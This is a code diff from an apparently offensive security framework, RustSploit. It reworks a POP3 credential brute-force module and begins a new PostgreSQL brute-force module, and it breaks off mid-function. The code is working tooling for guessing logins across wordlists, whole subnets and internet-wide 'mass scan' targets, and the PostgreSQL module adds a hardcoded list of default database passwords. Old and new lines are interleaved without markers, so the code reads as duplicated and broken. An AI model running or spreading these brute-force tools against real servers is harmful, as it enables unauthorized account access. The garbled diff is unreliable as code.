let msg = err.to_string();
|
||||
let error_type = Pop3ErrorType::classify_error(&msg);
|
||||
Self { error_type, message: msg }
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n{}", "=== POP3 Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
println!();
|
||||
crate::mprintln!("\n{}", "=== POP3 Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
let use_ssl = prompt_yes_no("Use SSL/TLS (POP3S)?", false).await?;
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
let use_ssl = cfg_prompt_yes_no("use_ssl", "Use SSL/TLS (POP3S)?", false).await?;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = std::sync::Arc::new(load_lines(&usernames_file)?);
|
||||
let passes = std::sync::Arc::new(load_lines(&passwords_file)?);
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "POP3",
|
||||
default_port: if use_ssl { 995 } else { 110 },
|
||||
state_file: "pop3_hose_state.log",
|
||||
default_output: "pop3_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
}, move |ip: IpAddr, port: u16| {
|
||||
let users = users.clone();
|
||||
let passes = passes.clone();
|
||||
async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
|
||||
let target_str = ip.to_string();
|
||||
for user in users.iter() {
|
||||
for pass in passes.iter() {
|
||||
let mut retry_attempt: u32 = 0;
|
||||
let max_retries: u32 = 3;
|
||||
let mut should_skip_host = false;
|
||||
loop {
|
||||
let t = target_str.clone();
|
||||
let u = user.clone();
|
||||
let p = pass.clone();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_pop3_login(&t, port, &u, &p, use_ssl, 5)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
let now = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let line = format!("[{}] {}:{}:{}:{}\n", now, ip, port, user, pass);
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}:{}:{}:{}", ip, port, user, pass).green().bold());
|
||||
return Some(line);
|
||||
}
|
||||
Ok(Ok(false)) => break, // auth failed, try next credential
|
||||
Ok(Err(e)) => {
|
||||
if e.error_type.is_retryable() && retry_attempt < max_retries {
|
||||
retry_attempt += 1;
|
||||
let delay = backoff_delay(500, retry_attempt, 8);
|
||||
tokio::time::sleep(delay).await;
|
||||
continue;
|
||||
}
|
||||
should_skip_host = true;
|
||||
break;
|
||||
}
|
||||
Err(_) => {
|
||||
should_skip_host = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if should_skip_host {
|
||||
return None;
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let use_ssl = cfg_prompt_yes_no("use_ssl", "Use SSL/TLS (POP3S)?", false).await?;
|
||||
let default_port = if use_ssl { 995 } else { 110 };
|
||||
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "pop3_subnet_results.txt").await?;
|
||||
|
||||
let connection_timeout: u64 = 5;
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "pop3",
|
||||
source_module: "creds/generic/pop3_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let target_str = ip.to_string();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_pop3_login(&target_str, port, &user, &pass, use_ssl, connection_timeout)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => LoginResult::Error {
|
||||
message: e.message,
|
||||
retryable: e.error_type.is_retryable(),
|
||||
},
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let use_ssl = cfg_prompt_yes_no("use_ssl", "Use SSL/TLS (POP3S)?", false).await?;
|
||||
let default_port = if use_ssl { 995 } else { 110 };
|
||||
|
||||
let port = prompt_int_range("Port", default_port as i64, 1, 65535).await? as u16;
|
||||
let username_wordlist = prompt_existing_file("Username wordlist file").await?;
|
||||
let password_wordlist = prompt_existing_file("Password wordlist file").await?;
|
||||
|
||||
let threads = prompt_int_range("Threads", 16, 1, 256).await? as usize;
|
||||
let delay_ms = prompt_int_range("Delay (ms)", 50, 0, 10000).await? as u64;
|
||||
let connection_timeout = prompt_int_range("Timeout (s)", 5, 1, 60).await? as u64;
|
||||
|
||||
let full_combo = prompt_yes_no("Try every username with every password?", false).await?;
|
||||
let stop_on_success = prompt_yes_no("Stop on first valid login?", false).await?;
|
||||
|
||||
let output_file = prompt_default("Output file for results", "pop3_results.txt").await?;
|
||||
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let retry_on_error = prompt_yes_no("Retry failed connections?", true).await?;
|
||||
let max_retries = if retry_on_error {
|
||||
prompt_int_range("Max retries", 2, 1, 10).await? as usize
|
||||
} else {
|
||||
0
|
||||
|
||||
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
|
||||
let username_wordlist = cfg_prompt_existing_file("username_wordlist", "Username wordlist file").await?;
|
||||
let password_wordlist = cfg_prompt_existing_file("password_wordlist", "Password wordlist file").await?;
|
||||
|
||||
let threads = cfg_prompt_int_range("threads", "Threads", 16, 1, 256).await? as usize;
|
||||
let delay_ms = cfg_prompt_int_range("delay_ms", "Delay (ms)", 50, 0, 10000).await? as u64;
|
||||
let connection_timeout = cfg_prompt_int_range("timeout", "Timeout (s)", 5, 1, 60).await? as u64;
|
||||
|
||||
let full_combo = cfg_prompt_yes_no("combo_mode", "Try every username with every password?", false).await?;
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first valid login?", false).await?;
|
||||
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output file for results", "pop3_results.txt").await?;
|
||||
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry failed connections?", true).await?;
|
||||
let max_retries = if retry_on_error {
|
||||
cfg_prompt_int_range("max_retries", "Max retries", 2, 1, 10).await? as usize
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
let config = Pop3BruteforceConfig {
|
||||
let usernames = load_lines(&username_wordlist)?;
|
||||
let passwords = load_lines(&password_wordlist)?;
|
||||
if usernames.is_empty() || passwords.is_empty() {
|
||||
anyhow::bail!("Username or password list is empty — nothing to bruteforce");
|
||||
}
|
||||
|
||||
crate::mprintln!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
|
||||
|
||||
let combos = generate_combos(&usernames, &passwords, full_combo);
|
||||
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "[Starting Attack]".bold().yellow());
|
||||
crate::mprintln!();
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_pop3_login(&t, p, &user, &pass, use_ssl, connection_timeout)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => LoginResult::Error {
|
||||
message: e.message,
|
||||
retryable: e.error_type.is_retryable(),
|
||||
},
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
username_wordlist,
|
||||
password_wordlist,
|
||||
threads,
|
||||
concurrency: threads,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
full_combo,
|
||||
use_ssl,
|
||||
connection_timeout,
|
||||
retry_on_error,
|
||||
max_retries,
|
||||
output_file,
|
||||
delay_ms,
|
||||
};
|
||||
max_retries,
|
||||
service_name: "pop3",
|
||||
source_module: "creds/generic/pop3_bruteforce",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
println!();
|
||||
println!("{}", "[Starting Attack]".bold().yellow());
|
||||
println!();
|
||||
|
||||
run_pop3_bruteforce(config).await
|
||||
}
|
||||
|
||||
async fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> {
|
||||
// Determine loading strategy
|
||||
let _user_count = count_lines(&config.username_wordlist)?;
|
||||
let _pass_count = count_lines(&config.password_wordlist)?;
|
||||
|
||||
// We will use memory mode for simpler implementation unless huge, but for now standard load_lines
|
||||
// If files are huge, the shared Utils load_lines might panic or OOM, but let's assume reasonable sizes for now
|
||||
// or use the streaming logic if I can adapt it easily.
|
||||
// To match other modules (ssh/ftp), I'll use load_lines.
|
||||
|
||||
let usernames = load_lines(&config.username_wordlist)?;
|
||||
let passwords = load_lines(&config.password_wordlist)?;
|
||||
|
||||
let total_attempts = if config.full_combo {
|
||||
usernames.len() * passwords.len()
|
||||
} else {
|
||||
std::cmp::max(usernames.len(), passwords.len())
|
||||
};
|
||||
|
||||
println!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
|
||||
println!("[*] Total attempts: {}", total_attempts);
|
||||
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
let found_creds = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(AtomicBool::new(false));
|
||||
let _start_time = std::time::Instant::now();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop_signal.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
while !stop_clone.load(Ordering::Relaxed) {
|
||||
tokio::time::sleep(Duration::from_secs(2)).await;
|
||||
stats_clone.print_progress();
|
||||
}
|
||||
});
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(config.threads));
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
// Generate combinations
|
||||
let mut combos = Vec::new();
|
||||
if config.full_combo {
|
||||
for u in &usernames {
|
||||
for p in &passwords {
|
||||
combos.push((u.clone(), p.clone()));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Linear mix: try u[0] p[0], u[1] p[1]... cycle if needed
|
||||
let max_len = std::cmp::max(usernames.len(), passwords.len());
|
||||
for i in 0..max_len {
|
||||
let u = &usernames[i % usernames.len()];
|
||||
let p = &passwords[i % passwords.len()];
|
||||
combos.push((u.clone(), p.clone()));
|
||||
}
|
||||
}
|
||||
|
||||
// Process combinations
|
||||
for (user, pass) in combos {
|
||||
if config.stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let config_clone = config.clone();
|
||||
let stats_clone = stats.clone();
|
||||
let found_clone = found_creds.clone();
|
||||
let stop_signal_clone = stop_signal.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit; // Hold permit
|
||||
|
||||
if config_clone.stop_on_success && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Retry loop
|
||||
let mut retries = 0;
|
||||
loop {
|
||||
let config_inner = config_clone.clone();
|
||||
let user_inner = user_clone.clone();
|
||||
let pass_inner = pass_clone.clone();
|
||||
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_pop3_login(&config_inner, &user_inner, &pass_inner)
|
||||
}).await;
|
||||
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
println!("\r{}", format!("[+] Found: {}:{}", user, pass).green().bold());
|
||||
found_clone.lock().await.push((user.clone(), pass.clone()));
|
||||
stats_clone.record_success();
|
||||
if config_clone.stop_on_success {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
break;
|
||||
},
|
||||
Ok(Ok(false)) => {
|
||||
stats_clone.record_failure();
|
||||
if config_clone.verbose {
|
||||
println!("\r{}", format!("[-] Failed: {}:{}", user, pass).dimmed());
|
||||
}
|
||||
break;
|
||||
},
|
||||
Ok(Err(e)) => {
|
||||
if config_clone.retry_on_error && retries < config_clone.max_retries {
|
||||
retries += 1;
|
||||
stats_clone.record_retry();
|
||||
// Small backoff
|
||||
tokio::time::sleep(Duration::from_millis(500)).await;
|
||||
continue;
|
||||
}
|
||||
stats_clone.record_error(e.to_string()).await;
|
||||
if config_clone.verbose {
|
||||
println!("\r{}", format!("[!] Error {}:{}: {}", user, pass, e).red());
|
||||
}
|
||||
break;
|
||||
},
|
||||
Err(e) => {
|
||||
stats_clone.record_error(format!("Task panic: {}", e)).await;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if config_clone.delay_ms > 0 {
|
||||
tokio::time::sleep(Duration::from_millis(config_clone.delay_ms)).await;
|
||||
}
|
||||
}));
|
||||
|
||||
// Drain finished tasks to keep memory low
|
||||
while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await {
|
||||
// Just drain
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for remaining
|
||||
while let Some(_) = tasks.next().await {}
|
||||
|
||||
stop_signal.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
stats.print_final().await;
|
||||
|
||||
// Save results
|
||||
let found = found_creds.lock().await;
|
||||
if !found.is_empty() {
|
||||
if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&config.output_file) {
|
||||
for (u, p) in found.iter() {
|
||||
let _ = writeln!(file, "{}:{}", u, p);
|
||||
}
|
||||
println!("[+] Results saved to {}", config.output_file);
|
||||
}
|
||||
}
|
||||
result.print_found();
|
||||
result.save_to_file(&output_file)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn count_lines(path: &str) -> Result<usize> {
|
||||
let file = std::fs::File::open(path)?;
|
||||
let reader = std::io::BufReader::new(file);
|
||||
use std::io::BufRead;
|
||||
Ok(reader.lines().count())
|
||||
}
|
||||
/// POP3 login result: Ok(true) = authenticated, Ok(false) = auth rejected, Err = classified error.
|
||||
fn attempt_pop3_login(target: &str, port: u16, user: &str, pass: &str, use_ssl: bool, timeout_secs: u64) -> std::result::Result<bool, Pop3Error> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
if use_ssl {
|
||||
let connector = TlsConnector::new().map_err(|e| Pop3Error {
|
||||
error_type: Pop3ErrorType::TlsError,
|
||||
message: e.to_string(),
|
||||
})?;
|
||||
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
|
||||
.map_err(|e| Pop3Error::from_anyhow(e.into()))?
|
||||
.next()
|
||||
.ok_or_else(|| Pop3Error { error_type: Pop3ErrorType::ConnectionRefused, message: "Resolution failed".to_string() })?;
|
||||
let stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
|
||||
.map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
let _ = stream.set_nodelay(true);
|
||||
stream.set_read_timeout(Some(timeout)).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
stream.set_write_timeout(Some(timeout)).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
|
||||
let mut stream = connector.connect(target, stream).map_err(|e| Pop3Error {
|
||||
error_type: Pop3ErrorType::TlsError,
|
||||
message: e.to_string(),
|
||||
})?;
|
||||
|
||||
// Blocking login attempt
|
||||
fn attempt_pop3_login(config: &Pop3BruteforceConfig, user: &str, pass: &str) -> Result<bool> {
|
||||
let addr = format!("{}:{}", config.target, config.port);
|
||||
let timeout = Duration::from_secs(config.connection_timeout);
|
||||
|
||||
if config.use_ssl {
|
||||
let connector = TlsConnector::new()?;
|
||||
// Resolve first to apply timeout to connect
|
||||
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
|
||||
let stream = TcpStream::connect_timeout(&socket_addr, timeout)?;
|
||||
stream.set_read_timeout(Some(timeout))?;
|
||||
stream.set_write_timeout(Some(timeout))?;
|
||||
|
||||
let mut stream = connector.connect(&config.target, stream)?;
|
||||
|
||||
// Read banner
|
||||
let mut buffer = [0; 1024];
|
||||
stream.read(&mut buffer)?; // +OK ...
|
||||
|
||||
stream.write_all(format!("USER {}\r\n", user).as_bytes())?;
|
||||
let n = stream.read(&mut buffer)?;
|
||||
stream.read(&mut buffer).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
|
||||
stream.write_all(format!("USER {}\r\n", user).as_bytes())
|
||||
.map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
let n = stream.read(&mut buffer).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
if !String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
stream.write_all(format!("PASS {}\r\n", pass).as_bytes())?;
|
||||
let n = stream.read(&mut buffer)?;
|
||||
|
||||
stream.write_all(format!("PASS {}\r\n", pass).as_bytes())
|
||||
.map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
let n = stream.read(&mut buffer).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
if String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
|
||||
stream.write_all(b"QUIT\r\n").ok();
|
||||
return Ok(true);
|
||||
}
|
||||
} else {
|
||||
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
|
||||
let mut stream = TcpStream::connect_timeout(&socket_addr, timeout)?;
|
||||
stream.set_read_timeout(Some(timeout))?;
|
||||
stream.set_write_timeout(Some(timeout))?;
|
||||
|
||||
// Read banner
|
||||
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
|
||||
.map_err(|e| Pop3Error::from_anyhow(e.into()))?
|
||||
.next()
|
||||
.ok_or_else(|| Pop3Error { error_type: Pop3ErrorType::ConnectionRefused, message: "Resolution failed".to_string() })?;
|
||||
let mut stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
|
||||
.map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
let _ = stream.set_nodelay(true);
|
||||
stream.set_read_timeout(Some(timeout)).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
stream.set_write_timeout(Some(timeout)).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
|
||||
// Read banner
|
||||
let mut buffer = [0; 1024];
|
||||
stream.read(&mut buffer)?;
|
||||
|
||||
stream.write_all(format!("USER {}\r\n", user).as_bytes())?;
|
||||
let n = stream.read(&mut buffer)?;
|
||||
stream.read(&mut buffer).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
|
||||
stream.write_all(format!("USER {}\r\n", user).as_bytes())
|
||||
.map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
let n = stream.read(&mut buffer).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
if !String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
stream.write_all(format!("PASS {}\r\n", pass).as_bytes())?;
|
||||
let n = stream.read(&mut buffer)?;
|
||||
|
||||
stream.write_all(format!("PASS {}\r\n", pass).as_bytes())
|
||||
.map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
let n = stream.read(&mut buffer).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
if String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
|
||||
stream.write_all(b"QUIT\r\n").ok();
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,718 @@
|
||||
//! PostgreSQL Brute Force Module
|
||||
//!
|
||||
//! Raw TCP wire-protocol implementation of PostgreSQL v3 authentication.
|
||||
//! Supports cleartext and MD5 password auth methods.
|
||||
//!
|
||||
//! Protocol flow:
|
||||
//! 1. Send StartupMessage (protocol 3.0, user, database)
|
||||
//! 2. Read Authentication request:
|
||||
//! - Type 0: AuthenticationOk (no password needed)
|
||||
//! - Type 3: CleartextPassword -> send PasswordMessage(password)
|
||||
//! - Type 5: MD5Password + 4-byte salt -> send "md5" + MD5(MD5(password+user) + salt)
|
||||
//! 3. Read response: 'R' type 0 = success, 'E' = error
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
// md5 crate 0.8 uses md5::compute(), not the Digest trait
|
||||
use std::io::Write;
|
||||
use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
|
||||
use crate::modules::creds::utils::{
|
||||
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file,
|
||||
cfg_prompt_port, cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// Constants
|
||||
// ============================================================================
|
||||
|
||||
const DEFAULT_PG_PORT: u16 = 5432;
|
||||
const CONNECT_TIMEOUT_MS: u64 = 5000;
|
||||
const READ_TIMEOUT_MS: u64 = 5000;
|
||||
const DEFAULT_DATABASE: &str = "postgres";
|
||||
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("postgres", "postgres"),
|
||||
("postgres", ""),
|
||||
("postgres", "password"),
|
||||
("postgres", "123456"),
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("root", "root"),
|
||||
("pgsql", "pgsql"),
|
||||
];
|
||||
|
||||
// ============================================================================
|
||||
// Module Info
|
||||
// ============================================================================
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "PostgreSQL Brute Force".to_string(),
|
||||
description: "Brute-force PostgreSQL authentication over raw TCP using protocol v3. \
|
||||
Supports cleartext and MD5 password auth methods. Includes default credential \
|
||||
testing, wordlist combo mode, subnet scanning, and mass scan."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://www.postgresql.org/docs/current/protocol-flow.html".to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Main Entry Point
|
||||
// ============================================================================
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!("{}", "=== PostgreSQL Brute Force Module ===".bold());
|
||||
crate::mprintln!("[*] Target: {}", target);
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Target: {} -- Mass Scan Mode", target).yellow()
|
||||
);
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "PostgreSQL",
|
||||
default_port: DEFAULT_PG_PORT,
|
||||
state_file: "postgres_brute_hose_state.log",
|
||||
default_output: "postgres_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
move |ip, port| async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(5)).await {
|
||||
return None;
|
||||
}
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let creds = [
|
||||
("postgres", "postgres"),
|
||||
("postgres", ""),
|
||||
("postgres", "password"),
|
||||
("admin", "admin"),
|
||||
];
|
||||
for (user, pass) in creds {
|
||||
match try_pg_auth(&addr, user, pass, DEFAULT_DATABASE).await {
|
||||
PgResult::Success => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
return Some(format!("[{}] {}:{}:{}:{}\n", ts, ip, port, user, pass));
|
||||
}
|
||||
PgResult::ConnectionError(_) => return None,
|
||||
PgResult::AuthFailed | PgResult::ProtocolError(_) => {}
|
||||
}
|
||||
}
|
||||
None
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Target: {} (Subnet Scan)", target).cyan()
|
||||
);
|
||||
|
||||
let port: u16 = cfg_prompt_port("port", "PostgreSQL Port", DEFAULT_PG_PORT).await?;
|
||||
let database =
|
||||
cfg_prompt_default("database", "Target database", DEFAULT_DATABASE).await?;
|
||||
let usernames_file =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("User list empty"));
|
||||
}
|
||||
if passes.is_empty() {
|
||||
return Err(anyhow!("Pass list empty"));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"postgres_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
return run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users,
|
||||
passes,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "postgresql",
|
||||
source_module: "creds/generic/postgres_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let db = database.clone();
|
||||
async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match try_pg_auth(&addr, &user, &pass, &db).await {
|
||||
PgResult::Success => LoginResult::Success,
|
||||
PgResult::AuthFailed => LoginResult::AuthFailed,
|
||||
PgResult::ConnectionError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: true,
|
||||
},
|
||||
PgResult::ProtocolError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let port: u16 = cfg_prompt_port("port", "PostgreSQL Port", DEFAULT_PG_PORT).await?;
|
||||
let database =
|
||||
cfg_prompt_default("database", "Target database", DEFAULT_DATABASE).await?;
|
||||
|
||||
let use_defaults =
|
||||
cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file =
|
||||
if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file =
|
||||
if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!(
|
||||
"At least one wordlist or default credentials must be enabled"
|
||||
));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
